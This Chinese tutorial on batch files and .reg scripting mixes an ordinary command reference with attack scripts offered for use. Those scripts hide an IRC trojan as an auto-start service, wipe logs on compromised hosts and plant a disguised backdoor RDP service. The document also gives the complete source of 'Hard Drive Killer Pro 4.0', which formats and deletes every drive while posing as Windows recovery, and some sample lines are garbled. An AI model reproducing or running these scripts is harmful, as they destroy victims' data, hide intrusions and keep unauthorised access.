那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Invader"="Ex4rch" "Door"=C:\\WINNT\\system32\\door.exe "Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about这三个项目 Invader的类型是"String value" door的类型是"REG SZ value" Autodos的类型是"DWORD value"
2.修改 修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s
)即可。
3.删除 我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就
被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了
。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了
,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Invader"="Ex4rch" "door"=hex:255 "Autodos"=dword:000000128
只需要这样: @echo Windows Registry Editor Version 5.00>>Sample.reg @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg @echo "Invader"="Ex4rch">>Sample.reg @echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg @echo "Autodos"=dword:02>>Sample.reg
samlpe2: 我们现在在使用一些比较老的木马时,可能会在注册表的
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、
Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查
杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为
windrv32.exe)
@start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll @echo "windsnx "=- >>patch.dll @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe @regedit /s patch.dll @delete patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和
只读,并config为自启动] @REM 这样不是更安全.
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理 ------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key. @pause @echo off
:Rem check parameters if null show usage. if {%1}=={} goto :Usage
:Rem code start. echo. echo ------------------------------------------------------ echo. echo Now deleting all the default shares. echo. net share %1$ /delete net share %2$ /delete net share %3$ /delete net share %4$ /delete net share %5$ /delete net share %6$ /delete net share %7$ /delete net share %8$ /delete net share %9$ /delete net stop Server net start Server echo. echo All the shares have been deleteed echo. echo ------------------------------------------------------ echo. echo Now modify the registry to change the system default properties. echo. echo Now creating the registry file echo Windows Registry Editor Version 5.00> c:\delshare.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>
c:\delshare.reg echo "AutoShareWks"=dword:00000000>> c:\delshare.reg echo "AutoShareServer"=dword:00000000>> c:\delshare.reg echo Nowing using the registry file to chang the system default properties. regedit /s c:\delshare.reg echo Deleting the temprotarily files. del c:\delshare.reg goto :END
:Usage echo. echo ------------------------------------------------------ echo. echo ☆ A example for batch file ☆ echo ☆ [Use batch file to change the sysytem share properties.] ☆ echo. echo Author:Ex4rch echo Mail:Ex4rch@hotmail.com QQ:1672602 echo. echo Error:Not enough parameters echo. echo ☆ Please enter the share disk you wanna delete ☆ echo. echo For instance,to delete the default shares: echo delshare c d e ipc admin print echo. echo If the disklable is not as C: D: E: ,Please chang it youself. echo. echo example: echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into : echo delshare c d e x y z ipc admin print echo. echo *** you can delete nine shares once in a useing *** echo. echo ------------------------------------------------------ goto :EOF
:END echo. echo ------------------------------------------------------ echo. echo OK,delshare.bat has deleted all the share you assigned. echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. echo echo. echo ------------------------------------------------------ echo.
:EOF echo end of the batch file ------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固系统(给肉鸡打补丁)的批处理文件 ------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
>>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll @echo "AutoShareWks"=dword:00000000 >>patch.dll @REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll @echo "restrictanonymous"=dword:00000001 >>patch.dll @REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll @REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll @echo "ShutdownWithoutLogon"="0" >>patch.dll @REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll @REM [禁止显示前一个登录用户名称] @regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。 @regedit /s patch.dll @net stop w3svc @net stop event log @del c:\winnt\system32\logfiles\w3svc1\*.* /f /q @del c:\winnt\system32\logfiles\w3svc2\*.* /f /q @del c:\winnt\system32\config\*.event /f /q @del c:\winnt\system32dtclog\*.* /f /q @del c:\winnt\*.txt /f /q @del c:\winnt\*.log /f /q @net start w3svc @net start event log @rem [删除日志]
@net stop lanmanserver /y @net stop Schedule /y @net stop RemoteRegistry /y @del patch.dll @echo The server has been patched,Have fun. @del patch.bat @REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-
Tcp] >>patch.dll @echo "PortNumber"=dword:00002010 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp
>>patch.dll @echo "PortNumber"=dword:00002012 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo "ErrorControl"=dword:00000001 >>patch.dll @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
>>patch.dll @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\
>>patch.dll @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll @echo "ObjectName"="LocalSystem" >>patch.dll @echo "Type"=dword:00000010 >>patch.dll @echo "Description"="Keep record of the program and windows' message。" >>patch.dll @echo "DisplayName"="Microsoft EventLog" >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file --------------------------- @echo off rem This program is dedecated to a very special person that does not want to be named. :start cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat >nul rem Drive checking and assigning the valid drives to the drive variable.
set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here. rem drivechk.bat is the file name under the root directory. rem As far as the drive detection and drive variable settings, don't worry about how it rem works, it's d\*amn to complicated for the average or even the expert batch programmer. rem Except for Tom Lavedas.
echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat
cls echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true. rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat
cls echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul del drivechk.bat >nul if %drive.==. set drive=c
:form_del call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cd\ >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0.
>>c:\autoexec.bat echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to
tell you the following. . . >>c:\autoexec.bat echo echo 1. To make people aware that security should not be taken for granted.
>>c:\autoexec.bat echo echo 2. Love is important, if you have it, truly, don't let go of it like I did!
>>c:\autoexec.bat echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is
dead. >>c:\autoexec.bat echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal
Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat echo echo Regards, >>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Munga Bunga >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat
:makedir if exist c:\temp.bat attrib -r -h c:\temp.bat >nul echo @echo off >c:\temp.bat echo %%1:\ >>c:\temp.bat echo cd\ >>c:\temp.bat echo :startmd >>c:\temp.bat echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a
>>c:\temp.bat echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto
startmd >>c:\temp.bat call attrib +r +h c:\temp.bat >nul
cls echo Initializing Variables . . . rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for
further destruction. for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul cls echo Initializing Variables . . . echo Validating Data . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul call attrib +r +h c:\temp.bat >nul call attrib +r +h c:\autoexec.bat >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls echo Thank you for using a Munga Bunga product. echo. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. echo. echo Here is a joke for you . . . echo. echo Q). What's the worst thing about being an egg? echo A). You only get laid once. echo. echo HAHAHAHA, get it? Don't you just love that one? echo. echo Regards, echo. echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!! rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get
out of here).
编者:这个教程和别不一样的地方在于willsort编注那里的内容,是作者多年来的心得. 批处理的介绍
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。
==== willsort 编注 ======================================= .bat是dos下的批处理文件 .cmd是nt内核命令行环境的另一种批处理文件 从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。 ===================================
首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
==== willsort 题注 =================== 批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。 ========================
其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。
==== willsort 编注 ================== 批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。 ===========================
第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。
==== willsort 编注 ===== 纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内存),COMMAND.COM中的内部命令(根据内存的环境随时进驻内存),以com为扩展名的可执行程序(由command.com 直接载入内存),以exe位扩展名的可执行程序(由command.com 重定位后载入内存),以bat位扩展名的批处理程序(由command.com 解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行程序,分析一行,执行一行,文件本身不载入内存) ============
第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例: @ECHO OFF PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;
C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH LH SMARTDRV.EXE /X LH DOSKEY.COM /INSERT LH CTMOUSE.EXE SET TEMP=D:\TEMP SET TMP=D:\TEMP ==== willsort 编注 ===== AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由COMMAND.COM启动时解释执行; 而在Win9x环境中,不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件,对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。 ==== willsort 编注 ============= 以下关于命令的分类,有很多值得推敲的地方。常用命令中的@本不是命令,而dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。
以下摘录MS-DOS 6.22 帮助文档中关于"批处理命令"的文字,当然,其中有些概念和定义已经有些落后了。
批处理命令
批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时,MS-DOS成组执行此批处理程序中的命令。
任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。 ==========
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
==== willsort 编注 =========== 首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符: CR(0D) 命令行结束符 Escape(1B) ANSI转义字符引导符 Space(20) 常用的参数界定符 Tab(09) ; = 不常用的参数界定符 + COPY命令文件连接符 * ? 文件通配符 "" 字符串界定符 | 命令管道符 < > >> 文件重定向符 @ 命令行回显屏蔽符 / 参数开关引导符 : 批处理标签引导符 % 批处理变量引导符
其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意: 第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号. 第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中. =====================
echo 表示显示此命令后的字符 echo off 表示在此语句后所有运行的命令都不显示命令行本身 @与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。 call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。 pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续 rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。 ==== willsort 编注 ===== 此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理
------------------------- ECHO
当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。
在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。 使用ECHO命令可关闭此功能。
语法
ECHO [ON|OFF]
若要用echo命令显示一条命令,可用下述语法:
echo [message]
参数
ON|OFF 指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO 命令。
message 指定让MS-DOS在屏幕上显示的正文。
-------------------
CALL
从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。
语法
CALL [drive:][path]filename [batch-parameters]
参数
[drive:][path]filename 指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。
batch-parameters 指定批处理程序所需的命令行信息。
-------------------------------
PAUSE
暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处 理程序中使用该命令。
语法
PAUSE
REM
在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS 中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。
语法
REM [string]
参数
string 指定要屏蔽的命令或要包含的注解。 =======================
例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。
批处理文件的内容为: 命令注释:
@echo off 不显示后续命令行及当前命令行 dir c:\*.* >a.txt 将c盘文件列表写入a.txt call c:\ucdos\ucdos.bat 调用ucdos echo 你好 显示"你好" pause 暂停,等待按键继续 rem 准备运行wps 注释:准备运行wps cd ucdos 进入ucdos目录 wps 运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。
例2:C:根目录下有一批处理文件名为f.bat,内容为: @echo off format %1
如果执行C:\>f a: 那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:
例3:C:根目录下一批处理文件名为t.bat,内容为: @echo off type %1 type %2
那么运行C:\>t a.txt b.txt %1 : 表示a.txt %2 : 表示b.txt 于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
==== willsort 编注 =============== 参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间 (例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如下:
初始状态, cmd 为命令名, 可以用 %0 引用 cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ | | | | | | | | | | %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过1次shift后, cmd 将无法被引用 cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ | | | | | | | | | | %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义 cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 ^ ^ ^ ^ ^ ^ ^ ^ ^ | | | | | | | | | %0 %1 %2 %3 %4 %5 %6 %7 %8
遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返复移动起始指针. ====================
特殊命令
if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if [not] "参数" == "字符串" 待执行的命令
参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。
例:if "%1"=="a" format a:
==== willsort 编注
if 的命令行帮助中关于此点的描述为: IF [NOT] string1==string2 command 在此有以下几点需要注意: 1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符 2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量 3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行 =============================
2、if [not] exist [路径\]文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如: if exist c:\config.sys type c:\config.sys 表示如果存在c:\config.sys文件,则显示它的内容。
****** willsort 编注 ******** 也可以使用以下的用法: if exist command device 是指DOS系统中已加载的设备, 在win98下通常有: AUX, PRN, CON, NUL COM1, COM2, COM3, COM4 LPT1, LPT2, LPT3, LPT4 XMSXXXX0, EMMXXXX0 A: B: C: ..., CLOCK$, CONFIG$, DblBuff$, IFS$HLP$ 具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点: 1. 该设备确实存在(由软件虚拟的设备除外) 2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义) 3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等) 可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备 另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄. ==================================
3、if errorlevel <数字> 待执行的命令
很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
==== willsort 编注 =========== 返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:
if errorlevel 1 set el=1 if errorlevel 2 set el=2 if errorlevel 3 set el=3 if errorlevel 4 set el=4 if errorlevel 5 set el=5 ...
当然, 也可以使用以下循环来替代, 原理是一致的: for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e
更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章
出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.
另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了 ===========================
二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。
如:
goto end
:end echo this is the end
标号用":字符串"来定义,标号所在行不被执行。
==== willsort 编注
label 常被译为 "标签" , 但是这并不具有广泛的约定性.
goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照:
Batch C / Basic goto&: goto&: goto&:&if if{}&else{} / if&elseif&endif goto&:&if... switch&case / select case goto&:&if&set&envar... function() / function(),sub() ==================================
三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。
注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述: 该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表: /C choices 指定要创建的选项列表。默认列表是 "YN"。
/N 在提示符中隐藏选项列表。提示前面的消息得到显示, 选项依旧处于启用状态。
/CS 允许选择分大小写的选项。在默认情况下,这个工具 是不分大小写的。
